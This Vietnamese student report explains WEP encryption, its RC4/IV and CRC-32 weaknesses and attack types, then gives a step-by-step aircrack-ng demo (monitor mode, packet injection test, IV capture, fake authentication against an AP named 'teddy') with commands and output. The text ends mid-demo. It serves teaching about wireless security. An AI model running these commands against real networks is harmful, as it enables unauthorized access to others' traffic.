Mục Lục Trang I. WEP 2 1. Giới thiệu về WEP: 2 2. Mã hóa và giải mã WEP 2 II. Vấn đề trong thuật toán WEP 3 III. Các cách tấn công 5 1. Tấn công thụ động 5 2. Tấn công chủ động 5 3. Tấn công theo kiểu từ điền 6 IV. Demo 7 Tài liệu tham khảo 13 I. WEP 1. Giới thiệu về WEP: WEP (Wired Equivalent Privacy) là một thuật toán mã hóa sử dụng quá trình chứng thực khóa chia sẻ cho việc chứng thực người dùng và để mã hóa phần dữ liệu truyền trên những phân đoạn mạng Lan không dây. Chuẩn IEEE 802.11 đặc biệt sử dụng WEP. WEP sử dụng một khóa bí mật chia sẻ giữa các máy trạm trong mạng LAN không dây (WLAN) và access point (AP). Khóa bí mật này dùng để mã hóa các gói dữ liệu trước khi chúng được truyền, và một quá trình chứng thực được sử dụng để chắc chắn rằng gói dữ liệu không bị thay đổi trong quá trình truyền. 2. Mã hóa và giải mã WEP: a. Mã hóa: Quá trình mã hóa WEP mô tả theo hình sau: WEP Encryption Process:
Trang 1Mục Lục
Trang
Trang 2I WEP
WEP (Wired Equivalent Privacy) là một thuật toán mã hóa sử dụng quá trình chứng thực khóa chia sẻ cho việc chứng thực người dùng và để mã hóa phần dữ liệu truyền trên những phân đoạn mạng Lan không dây Chuẩn IEEE 802.11 đặc biệt sử dụng WEP
WEP sử dụng một khóa bí mật chia sẻ giữa các máy trạm trong mạng LAN không dây (WLAN) và access point (AP) Khóa bí mật này dùng để mã hóa các gói
dữ liệu trước khi chúng được truyền, và một quá trình chứng thực được sử dụng để chắc chắn rằng gói dữ liệu không bị thay đổi trong quá trình truyền
Quá trình mã hóa WEP mô tả theo hình sau:
WEP Encryption Process:
Để mã hóa một 802.11 frame, thực hiện theo các bước sau:
- Tính toán 32-bit integrity check value (ICV) cho frame data, hay còn gọi là CRC-32
- ICV được gắn vào cuối frame data
- 24-bit initialization vector (IV) được tạo ra và kết hợp với WEP encryption key
- Sự kết hợp của initialization vector và WEP encryption key được sử dụng làm input cho pseudo-random number generator (PRNG) để tạo ra dãy bit có cùng kích thước với sự kết hợp của frame data và ICV
Trang 3- Dãy bit PRNG được gọi là keystream được XORed với sự kết hợp của data
và ICV để tạo ra phần mã hóa trong pay load được gởi giữa wireless access point và wireless client
- Để tạo payload cho wireless MAC frame, IV được thêm vào phía trước phần
mã hóa của data và ICV cùng với một trường khác
Quá trình mã hóa WEP mô tả theo hình sau:
WEP Decryption Process:
Để giải mã 802.11 frame data, thực hiện theo các bước sau:
- Initialization vector (IV) có được từ phía trước của MAC payload
- IV được kết hợp với WEP encryption key
- Sự kết hợp của initialization vector và WEP encryption key được sử dụng làm input cho pseudo-random number generator (PRNG) để tạo ra dãy bit có cùng kích thước với sự kết hợp của frame data và ICV Quá trình này sẽ tạo
ra cùng keystream với bên gửi
- Dãy bit PRNG được XORed với data và ICV đã được mã hóa để giải mã phần data và ICV trong payload
- ICV calculation cho data trong payload sẽ tính toán và so sánh với giá trị trong frame gửi tới Nếu trùng khớp thì dữ liệu xem như hợp lệ( không bị thay đổi trong quá trình truyền Nếu không trùng khớp frame sẽ bị loại loại
bỏ
II Vấn đề trong thuật toán WEP
WEP sử dụng thuật toán mã hóa RC4, thuật toán mã hóa dòng RC4 tạo ra một key ngẫu nhiên gọi là keystream Bên gửi sẽ thực hiện XOR keystream với plaintext
Trang 4để tạo ra ciphertext Bên nhận có một bản sao key và sử dụng nó để tạo ra một keystream đồng nhất XOR keystream với ciphertext sẽ tạo ra plaintext ban đầu Quá trình hoạt động này làm cho thuật toán mã hóa dòng có thể bị tấn công với một vài kiểu tấn công Nếu kẻ tấn công đảo bit trong ciphertext, sau đó giải mã thì những bit tương ứng trong plaintext có thể được mở ra Hơn nữa, nếu người nghe trộm nhận 2 ciphertext mã hóa cùng keystream, điều này có thể có được phép XOR giữa 2 plaintext Hiểu rõ về phép XOR này có thể tạo ra bảng thống kê tấn công để tìm ra plaintext
WEP chống lại những tấn công này Để chắc chắn gói dữ liệu không bị thay đổi trong quá trình truyền, nó sẽ sử dụng Integrity Check(IC) trong gói dữ liệu Để tránh mã hóa 2 ciphertext với cùng một keystream, một vector khởi tạo Initialization Vector (IV) được sử dụng để làm tăng thêm tính bảo mật của key và tạo ra key RC4 khác nhau cho mỗi gói dữ liệu Những IV này cũng nằm trong gói
dữ liệu Tuy nhiên, cả hai biện pháp thực hiện không chính xác, kết quả là bảo mật kém
Phần integrity check được xem như CRC-32 checksum, một phần mã hóa của packet Tuy nhiên, CRC-32 là tuyến tính, có nghĩa là có thể tính toán sự khác biệt của 2 bit CRC dựa trên sự khác biệt của trong những thông điệp mà họ truyền Nói cách khác, đảo bit n trong thông điệp trong một tập hợp các bit CRC có thể tạo ra chính xác checksum trên thông điệp thay đổi Bởi vì đảo bit thực hiện sau khi giải
mã RC4, điều này cho phép người tấn công đảo bit tùy ý trong thông điệp được mã hóa để điều chỉnh chính xác checksum để thông điệp kết quả xuất hiện hợp lệ
IV trong WEP có 24bits, được gởi trong phần cleartext của message Như vậy, lượng nhỏ IV đảm bảo sử dụng lại của cùng một keystream Một access point bận rộn luôn luôn gởi 1500 byte packets ở tốc độ 11Mbps, sẽ dùng hết lượng IVs sau 1500*8/(11*10^6)*2^24 = ~18000 giây, hay là 5 giờ Điều này cho phép người tấn công thu thập 2 ciphertext được mã hóa cùng một keystream và thống kê tấn công
để tìm ra plaintext Nguy hiểm hơn nữa là khi cùng 1 key được sử dụng bởi tất cả các trạm, có nhiều cơ hội trùng lặp IV Ví dụ một card wireless thông thường reset
IV về 0 mỗi lần được khởi tạo, và tăng IV lên 1 với mỗi packet Điều này có nghĩa
là hai card wireless cùng kết nối sẽ làm tăng khả năng đụng lặp lại IV cho người tấn
Trang 5công (Thêm nữa là trong 802.11 đầu tiên còn cho rằng việc thay đổi IV trong mỗi packet là tùy chọn tức là có thể đổi hoặc giữ nguyên)
III Các cách tấn công
Cách tấn công đầu tiên là dựa vào sự theo dõi Người tấn công thụ động có thể chặn tất cả sự lưu thông của mạng wireless cho đến khi có sự trùng lặp của
IV Bằng phép XOR 2 packet cùng sử dụng một IV, người tấn công có được phép XOR giữa 2 plaintext Từ kết quả của phép XOR có thể sử dụng để suy ra nội dung của 2 thông điệp Truyền thông IP thường dự đoán và gồm nhiều dư thừa Những dư thừa này có thể được sử dụng để loại trừ những khả năng có thể
có trong nội dung của thông điệp Hơn nữa, tăng khả năng dự đoán về nội dung của một hoặc nhiều nội dung trong thông điệp có thể sử dụng để giảm bớt thống
kê của nhũng thông điệp có thể và trong một vài trường hợp có thể xác định chính xác nội dung
Khi phân tích thống kê không đem lại kết quả dựa trên 2 thông điệp, người tấn công sẽ tìm kiếm thêm những trùng lặp IV Với một lượng thời gian cần thiết
có thể tìm ra một lượng thông điệp được mã hóa cùng keystream và tỉ lệ thành công của phân tích sẽ tăng lên rất nhiều Một khi có thể sẽ tìm được toàn bộ plaintext của thông điệp, plaintext của tất cả các thông điệp có cùng IV một cách trực tiếp, từ lúc từng cặp XORs được biết
Mở rộng của cách tấn công này là có thể sử dụng một host ở một nơi nào đó trên Internet và gửi traffic từ bên ngoài tới host trong mạng wireless Khi người tấn công chặn ra những mã hóa của thông điệp của anh ta gửi qua 802.11, lúc đó
có thể giải mã được tất cả những gói tin có cùng IV
Có hai kiểu: tấn công để chèn vào giữa sự lưu thông (attack to inject traffic)
và tấn công cả hai đầu ( attack from both ends)
a Attack to inject traffic: Theo kiểu tấn công này thì hướng tới kết quả của vấn đề được mô tả ở trong phần trước Giả sử người tấn công biết được chính xác được mã hóa trong thông điệp Người đó sẽ dùng sự hiểu biết này để tìm ra chính xác những packet đã được mã hóa Thủ tục đòi hỏi tạo một thông điệp mới, tính toán CRC-32, và thực hiện lật bit trên thông
Trang 6điệp gốc được mã hóa để thay đổi plaintext cho thông điệp mới Thuộc tính cơ bản là RC4(X) xor X xor Y = RC4(Y) Gói tin này sẽ được gởi tới access point hoặc các máy trạm trong mạng và nó sẽ được chấp nhận như
là một gói tin hợp lệ
Một thay đổi nhỏ làm cho cách tấn công này thêm nguy hiểm Mặc dù không có đầy đủ hiểu biết về gói tin, có thể lật những bit đã được chọn trong thông điệp và thiết lập thành công CRC được mã hóa để tìm được chính xác bản được mã hóa của gói tin đã được thay đổi Nếu người tấn công chỉ biết một ít thông tin nội dung của gói tin, người đó có thể chặn
nó ra thực hiện sửa đổi trên nó Ví dụ, có thể thay đổi lệnh được gởi trên telnet, hoặc tương tác với file server
b Attack from both ends: Cách tấn công trước có thể mở rông hơn nữa để giải mã lưu thông tùy ý Trong trường hợp này, người tấn công thực hiện
dự đoán về không phải nội dung, đúng hơn là về tiêu đề của gói tin Thông tin này thường dễ dàng tìm ra hoặc đoán ra, tất cả những gì cần để
dự đoán là địa chỉ IP đích Trang bị với kiến thức này, người tấn công có thể lật những bit thích hợp để thay đổi địa chỉ IP đích để gởi gói tin tới máy mà người đó điều khiển, một nơi nào đó trên Internet, và chuyển nó
sử dụng các trạm lừa đảo Hầu hết những mạng wireless đều có kết nối Internet, gói tin sẽ được giải mã thành công bởi access point và chuyển không mã hóa đó xuyên qua gateways và routers thích hợp đến máy người tấn công Nếu sự phỏng đoán có thể được thực hiện về TCP header của packet nó có thể thay đổi địa chỉ port đích của packet thành port 80, port cho phép chuyển nó xuyên qua hầu hết các loại tường lửa
Số lượng nhỏ của IV cho phép người tấn công xây dựng một bảng giải mã Sau khi tìm hiểu plaintext của một số packet, người đó có thể tính toán RC4 key stream được phát sinh bởi IV được sử dụng Key stream này có thể giải mã toàn
bộ những packet khác có cùng IV Theo thời gian có thể sử dụng những kỹ thuật nói trên người tấn công có thể xây dựng được một bảng những IV và keystream tương ứng Bảng này đòi hỏi một không gian bộ nhớ kha khá(~15GB); một khi
Trang 7nó đã được xây dựng, người tấn công có thể giải mã mọi packet được chuyển thông qua mạng wireless
IV Demo
Trong phần demo này chúng em sử dụng aircrack để crack WEP key theo cách chủ động
Để crack WEP key của một access point, chúng ta cần phải thu thập rất nhiều
IV Đối với mạng thông thường sẽ không tạo ra các IV nhanh Theo như lý thuyết nếu chúng ta kiên nhẫn thì chúng ta có thể thu thập được đủ các IV để có thể crack WEP key bằng cách đơn giản là lắng nghe và lưu trữ Bởi vì chúng ta không đủ kiên nhẫn, chúng ta sẽ sử dụng một kỹ thuật là injection để tăng tốc độ quá trình này lên( còn gọi là phương pháp crack WEP key chủ động) Kỹ thuật injection đòi hỏi có một access point gửi lại những packet chọn lọc nhiều hơn và nhanh hơn Điều này cho phép cho ta bắt được một số lượng lớn IV trong một khoảng thời gian ngắn Một khi chúng ta đã bắt được một lượng lớn các IV, chúng ta có thể sử dụng chúng để tìm ra WEP key Sau đây là các bước để tìm ra WEP key:
Bước 1: Start the wireless interface in monitor mode on AP channel
Mục đích của bước này là chuyển card sang chế độ được gọi là monitor mode(nghe ngóng hay giám sát) Monitor mode là chế độ mà card của bạn có thể bắt mọi gói tin Thông thường thì card của bạn chỉ bắt được các gói tin gửi tới bạn Bằng cách nghe ngóng mọi packet, sau đó chúng ta có thể chọn một vài trong số đó để chèn Chỉ có chế độ monitor thì mới cho phép chèn packet
Đầu tiên, stop ath0:
airmon-ng stop ath0
Hệ thống sẽ trả về:
Interface Chipset Driver
wifi0 Atheros madwifi-ng
ath0 Atheros madwifi-ng VAP (parent: wifi0) (VAP destroyed)
Gõ “iwconfig” để chắc chắn rằng không có giao tiếp athX nào Chúng ta sẽ thấy như sau:
lo no wireless extensions.
eth0 no wireless extensions.
wifi0 no wireless extensions.
Trang 8Nếu vẫn còn giao tiếp athX nào, thì stop từng cái một Khi hoàn thành, gõ lại
“iwconfig” để kiểm tra lại
Bây giờ, gõ dòng lệnh sau để start wireless card trên channel 9 trong chế độ
monitor:
airmon-ng start wifi0 9
Thay thế số kênh của card wireless bạn đang chạy vào số “9” trong câu lệnh trên Điều này rất quan trọng Card wireless của bạn phải nối vào một kênh của AP trong bước này để hoạt động chính xác
Hệ thống sẽ trả về:
Interface Chipset Driver
wifi0 Atheros madwifi-ng
ath0 Atheros madwifi-ng VAP (parent: wifi0) (monitor mode enabled)
Bạn sẽ thấy rằng “ath0” đang ở trong chế độ monitor
Để kiểm tra lại, gõ “iwconfig”, hệ thống sẽ trả về:
lo no wireless extensions.
wifi0 no wireless extensions.
eth0 no wireless extensions.
ath0 IEEE 802.11g ESSID:"" Nickname:""
Mode:Monitor Frequency:2.452 GHz Access Point:
00:0F:B5:88:AC:82
Bit Rate:0 kb/s Tx-Power:18 dBm Sensitivity=0/3
Retry:off RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
Link Quality=0/94 Signal level=-95 dBm Noise level=-95 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0
Bước 2: Test Wireless Device Packet Injection
Mục đích của bước này là để chắc chắc chắn rằng card của bạn đang trong vùng của
AP và có thể thực hiện chèn gói tin
Gõ:
aireplay-ng -9 -e teddy -a 00:14:6C:7E:40:80 ath0
với:
-9 : injection test
-e : wireless network name
Trang 9 -a 00:14:6C:7E:40:80 : access point MAC address
ath0 : wireless interface name
Hệ thống sẽ trả về:
09:23:35 Waiting for beacon frame (BSSID: 00:14:6C:7E:40:80) on channel 9
09:23:35 Trying broadcast probe requests
09:23:35 Injection is working!
09:23:37 Found 1 AP
09:23:37 Trying directed probe requests
09:23:37 00:14:6C:7E:40:80 - channel: 9 - 'teddy'
09:23:39 Ping (min/avg/max): 1.827ms/68.145ms/111.610ms Power: 33.73 09:23:39 30/30: 100%
Bước 3: Start airodump-ng to capture the IVs
Mục đích của bước này là để bắt lấy những IV được tạo ra
Mở một cửa sổ console khác để bắt những IV được tạo ra Gõ vào:
airodump-ng -c 9 bssid 00:14:6C:7E:40:80 -w output ath0
với:
-c 9 : the channel for the wireless network
bssid 00:14:6C:7E:40:80 : the access point MAC address This eliminate extraneous traffic
-w capture : file name prefix for the file which will contain the IVs
ath0 : the interface name
Trong lúc injection đang diễn ra, màn hình sẽ trông như thế này:
CH 9 ][ Elapsed: 8 mins ][ 2007-03-21 19:25
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:14:6C:7E:40:80 42 100 5240 178307 338 9 54 WEP WEP teddy
BSSID STATION PWR Lost Packets Probes 00:14:6C:7E:40:80 00:0F:B5:88:AC:82 42 0 183782
Bước 4: Use aireplay-ng to do a fake authentication with the access point
Để cho access point chấp nhận gói tin, địa chỉ MAC nguồn phải phù hợp Nếu địa chỉ MAC nguồn không kết hợp thì access point sẽ từ chối gói tin và gửi gói
“DeAuthentication” Trong tình trạng này sẽ không có IV mới nào được tạo ra bởi
vì AP đang từ chối tất cả những injected packet
Trang 10Sự không kết hợp là lý do đơn giản lớn nhất là tại sao injecttion thất bại Nên nhớ: địa chỉ MAC mà bạn sử dụng cho injection phải kết hợp với AP bằng cách sử dụng fake authentication hoặc sử dụng địa chỉ MAC đã chúng thực rồi
Để kết hợp với một access point, dùng fake authentication:
aireplay-ng -1 0 -e teddy -a 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 ath0
với:
-1 means fake authentication
0 reassociation timing in seconds
-e teddy is the wireless network name
-a 00:14:6C:7E:40:80 is the access point MAC address
-h 00:0F:B5:88:AC:82 is our card MAC address
ath0 is the wireless interface name
Kết quả như thế này:
18:18:20 Sending Authentication Request
18:18:20 Authentication successful
18:18:20 Sending Association Request
18:18:20 Association successful :-)
Hoặc:
aireplay-ng -1 6000 -o 1 -q 10 -e teddy -a 00:14:6C:7E:40:80 -h
00:0F:B5:88:AC:82 ath0
với:
6000 - Reauthenticate every 6000 seconds The long period also causes keep alive packets to be sent
-o 1 - Send only one set of packets at a time Default is multiple and this confuses some APs
-q 10 - Send keep alive packets every 10 seconds
Và kết quả như sau:
18:22:32 Sending Authentication Request
18:22:32 Authentication successful
18:22:32 Sending Association Request
18:22:32 Association successful :-)
18:22:42 Sending keep-alive packet
18:22:52 Sending keep-alive packet
# and so on
Một ví dụ thất bại chứng thực như sau:
8:28:02 Sending Authentication Request
18:28:02 Authentication successful
18:28:02 Sending Association Request
18:28:02 Association successful :-)
18:28:02 Got a deauthentication packet!
18:28:05 Sending Authentication Request